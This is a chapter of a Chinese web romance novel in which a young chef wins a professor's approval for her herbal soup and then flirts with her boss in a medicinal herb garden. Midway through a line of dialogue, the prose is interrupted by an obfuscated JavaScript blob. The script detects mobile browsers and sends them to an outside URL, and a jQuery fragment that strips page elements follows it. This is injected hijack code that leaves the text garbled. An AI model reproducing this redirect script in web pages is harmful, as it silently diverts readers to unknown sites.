窗外的阳光又挪了一点,落在两个人之间的桌面上,暖融融的。 24.药圃里的“回甘” 第二天一早,阳光从梧桐叶缝里漏下来,落在云锦里青石板上,一地碎金。 宋如淼换了件雾蓝色收腰衬衫,白色阔腿裤利落得像刚熨过。马尾扎得高高的,额头露出来,耳垂上两粒小珍珠一晃一晃——宋听雅前阵子塞给她的,说“大姑娘了,咱也得学着打扮了”。 谢晚酌的车已经停在那儿了。 他降下车窗,视线在她身上停了两秒,把副驾驶门打开了。 谢晚酌今天也穿得正式,深灰衬衫,袖口挽到小臂,手腕上那根带如意扣的红绳仍旧醒目。 宋如淼一上车,就掏出那份被她翻得卷了边的产品资料,嘴里念念有词:“茯苓三钱,陈皮两钱半,火候要先武后文……” “紧张?”谢晚酌单手打着方向盘,余光扫了她一眼。 “废话。”宋如淼头也不抬,“中医药大学的陈砚秋教授,出了名的‘鬼见愁’。听说上次有个五星级酒店的大厨去送审,被他尝了一口就让端回去倒了。” “那是他们,不是你。”谢晚酌语气平淡,像是在说今天天气不错。 宋如淼终于舍得从资料里抬起头,侧脸看他:“谢总,你这就有点盲目自信了吧?万一我也被退货了呢?” 谢晚酌正好在一个红灯前停下。他转过头,那双瑞凤眼定定地看着她,眼底映着晨光: “不会。” “因为我喝过。要是你这碗汤都过不了,那就该换人坐这个位置。”她改了十七次的汤,怎么会不过。 宋如淼愣了一下。 她忍不住弯了弯眼睛,凑近了一点:“谢晚酌,没看出来啊,你这护短护得挺专业。” 谢晚酌不自在地移开视线,喉结动了动:“绿灯了。” 车子重新启动,但他握着方向盘的手指,明显紧了紧。 …… 中医药大学在城西,老校区。 到处都是参天的梧桐树,空气里飘着股好闻的中药味。药膳食疗研究所在一栋红砖小楼的三楼。 电梯门一开,走廊里静悄悄的,只有尽头那间办公室虚掩着门。 宋如淼深吸一口气,抱紧了怀里的保温箱。那种“考前综合症”的感觉又上来了,她下意识地抠了抠保温箱的提手,脚步有点虚。 “给我。” 一只手伸过来,直接从她怀里接过了那个沉甸甸的保温箱。 宋如淼手里一空,转头看他:“不重,我自己拿就行,显得有诚意。” “你的手怎么能用来干这个。”谢晚酌单手拎着箱子,另一只手从口袋里掏出一包纸巾递给她,“擦擦汗。手心全是湿的。” 宋如淼被他逗乐了,接过纸巾攥在手里,那股子紧绷劲儿倒是散了不少:“我的手难道只能做饭?手心湿是我对学术的敬畏。” 谢晚酌看了她一眼,嘴角极浅地勾了一下,随后放慢脚步,走在她侧前方半步的位置。 推门进去。 接待他们的是副所长陈砚秋。四十出头,戴着眼镜,气质温润,开口不急不慢:“谢总,宋小姐,坐。” “你的视频很火。”陈砚秋笑,“我也刷到过。刀工干净。”他抬起头,扫了一眼放在桌上的保温箱。 “您过奖。”宋如淼也没废话,直接打开保温箱,取出三份样品,一字排开。 “陈教授,这是‘如酌’的四神汤改良版。第一批基础版,偏日常;第二批加陈皮、薏米,主打理气祛湿;第三批是我们准备主推的版本——陈皮用的是三年陈,新会的,核桃仁选临安,最后用一点枇杷蜜做引子,温补但不燥。” 陈砚秋没说话,拿起勺子,从第一份开始尝。 喝了一口,眉头没动。 第二份,喝了一口,眉头微皱:“薏米味儿冲了,压了茯苓的香。” “第二批我特意留着给您做对照,主推是第三批。” 陈砚秋拿起了第三份的勺子。 这一口下去,他停住了。 一秒,两秒。 陈砚秋又喝了一口,才放下勺子:“这碗……入口醇,落胃之后很舒服,陈皮和核桃的燥气被压下去了。你加多少枇杷蜜?” 宋如淼一直悬着的心终于落回了肚子里。 她嘴角勾起一抹自信的笑:“只加了半勺。” “枇杷蜜润肺和胃,正好中和陈皮的燥,还能把药性引下去。这招是谁教你的?” “自己试出来的。” 宋如淼从包里掏出一个厚厚的笔记本,递过去,“试了两个月,废了四十几锅汤。” 陈砚秋接过本子,翻开。 密密麻麻的字,甚至还有手绘的汤色对比图,每一页都沾着点油烟气和水渍。这不是为了应付检查写的,是一个厨子实打实的心血。 陈砚秋翻看着,脸色从漫不经心变得郑重。 最后,他合上本子,叹了口气:“现在的年轻人,愿意花两个月熬一锅汤的不多了。” 宋如淼稳稳站着:“我只是想把事做好,做成。” 陈砚秋笑:“好。” 他拿起桌上的章,在审批文件上用力盖了下去—— “啪!”鲜红的印章落下。 “宋小姐,合作愉快。”陈砚秋难得露出一丝笑意,“下次有新汤,直接送过来,不用预约。” 宋如淼接过文件,指尖微微发麻。她努力把嘴角按住,还是没按住。 【叮!获得行业权威认可,名望值+50,功德+17】 这一次,提示音都像更顺耳了点。 她认真点头:“能跟您交流是我的荣幸。我也希望下次,我能带更好的来。” 谢晚酌站在她身后,没说话。 但他看她的眼神,像在看一束光——不是别人给的,是她自己做出来的。 从研究所出来已是中午。 林荫道光斑碎碎,药圃里飘来淡淡药香。宋如淼抱着那叠文件,走路都带风——陈砚秋不仅通过了三款汤品,还给了“药膳食疗认证”的推荐名额,等于给“如酌”的药膳线递了一个硬背书。 走到楼下的自动贩卖机旁,谢晚酌忽然停下脚步。 “喝什么?”他问。 宋如淼还在兴奋头上:“啊?我不渴……” 咕噜—— 肚子很不给面子地响了一声。早上为了赶时间,她连口粥都没喝。 空气尴尬了一秒。 谢晚酌没看她,径直投币,按了一瓶常温的牛奶。 “拿着。”他把牛奶塞进她手里,“先垫垫。前面有家不错的私房菜,一会带你去吃。” 宋如淼握着牛奶,看着他侧脸,忽然觉得这人虽然嘴巴有时候毒,但心是真的细。 “谢谢老板。”她撕开吸管插进去,吸了一大口,含糊不清地说,“看在你这瓶奶的份上,以后你来吃饭,我给你免费加个蛋。” 谢晚酌瞥了她一眼,眼底那点笑意更深了:“就一个蛋?宋大厨真大方。” “一个蛋就不错了,还想要什么?” “淼淼,恭喜你。”他声音温和郑重的说。 “就这?”宋如淼不满,“没有什么奖励?” 谢晚酌站直身子,走到她面前,视线垂下来落在她脸上。 走廊里没人,安静得能听见窗外蝉鸣的声音。 “你想要什么奖励?”他问。 宋如淼眼珠一转,指了指楼下的药圃:“我想去那边看看。刚才上来的时候看见有好多不认识的草药。” “行。”谢晚酌答应得痛快,“走。” …… 正午的阳光正好。 药圃里种满了各种中草药,牌子上写着当归、黄芪、半夏……空气里全是那种让人心安的草木香。 宋如淼蹲在一株植物前研究半天,指着一片细长的叶子问:“谢晚酌,你知不知道这是什么?” 谢晚酌看了一眼,没犹豫:“麦冬。养阴生津,润肺清心。” 宋如淼惊讶地抬头:“你还真知道? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192632|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还以为你只认识那一堆财务报表呢。” “为了做这个项目,我也看了不少资料。”谢晚酌站在她身侧,把文件夹挡在她头顶替她遮住刺眼的光,“要是顾问都比老板懂得多太多,那我这老板岂不是太好骗了?” “切,谁敢骗你啊,谢小少爷。” 宋如淼笑着蹲回去,谢晚酌就站在旁边,虽然没说话,但只要她一抬头,总能正好撞进他的影子里,凉快又安稳。 “谢晚酌。” 宋如淼忽然仰起头,看着逆光站着的少年。 “嗯?” 她眯着眼睛笑,“你怎么对我那么有信心。” 谢晚酌低头看她。 阳光在她睫毛上跳跃,那双琥珀色的眼睛里全是喜悦。 “你的实力摆在那里。”他移开视线,看向远处的一株薄荷,“我只陈述事实。” “切。”宋如淼拍拍手上的土站起来,却因为蹲太久有点腿麻,身子晃了一下。 谢晚酌下意识伸手,一把扶住了她的胳膊。 宋如淼站稳了,却没急着挣开。 她抬头看着近在咫尺的谢晚酌,突然发现他的耳根红了一片,在阳光下特别明显。 谢晚酌走近两步把她被风吹乱的一缕碎发别到耳后。“你的努力,我都有看到。” “谢晚酌。”她小声叫他。 “……干嘛?”他声音有点紧绷。 “那你以后可以多说点。” 她歪着头,眼神干净得要命:“我爱听。” 谢晚酌喉结动了动,视线往旁边药圃一偏,像在跟草木打交道:“……嗯,好。” 声音低得几乎被风吹散。 她转身往前走两步,又回头催他:“走啊。不是说陪我看药圃吗?你耳朵怎么红了。”她像发现了新大陆,指尖蠢蠢欲动,想去碰一下。 谢晚酌浑身一僵,转身就走:“……晒的。” “哎!你别走那么快啊!”宋如淼追上去,笑得肆无忌惮,“这太阳好会晒,怎么只晒你耳朵?” 谢晚酌脚步不停,只是背影看着有点狼狈。 宋如淼看着前面那个高瘦的背影,心里忽然冒出一个念头: 这碗四神汤的“引子”是枇杷蜜。 那谢晚酌这杯不加糖的柠檬茶,是不是也该加点甜头了? 她快步追上去,并肩走在他身侧。 两人的影子在地上拉得很长,时不时重叠在一起。 宋如淼的肚子叫了,随手从口袋里拿出两颗糖。 “喂。”她把糖递到他面前,“给你。” 谢晚酌停了一下,看着那颗糖:“给我?” “嗯。”宋如淼理直气壮,“你也没吃早饭吧。” 谢晚酌没接,反问:“你自己不吃?” “我不是喝了牛奶了么。”宋如淼扬扬下巴,“我也还有。” 谢晚酌垂眸,伸手接过来。指尖擦过她掌心那一下很轻,像不小心,又像故意。 宋如淼心口跟着跳了一下,立刻装作没事,把手背到身后搓了搓。 谢晚酌把糖纸撕开,侧过头看她:“薄荷的?” “对啊,不加糖的柠檬茶就配薄荷。”宋如淼随口一说,下一秒才意识到自己把“柠檬茶”说出来了,耳朵也跟着发烫。 谢晚酌低低“嗯”了一声,把糖含进嘴里。过了两秒,他忽然开口:“挺甜。” 宋如淼一愣:“薄荷糖哪里甜——” 谢晚酌没看她,只把视线投向前方药圃,声音很轻:“你给的,就甜。” 宋如淼:“……” 她差点被自己的口水呛到,硬撑着抬头望天:“太阳确实太大了,晒得我耳朵也热。” 谢晚酌:“你也红了?我看看。” 宋如淼:“……你管我,不许看。” 【渊境积蓄进度:66.5% → 67%】 【检测到心动波动,虽然微弱,但……来日方长。】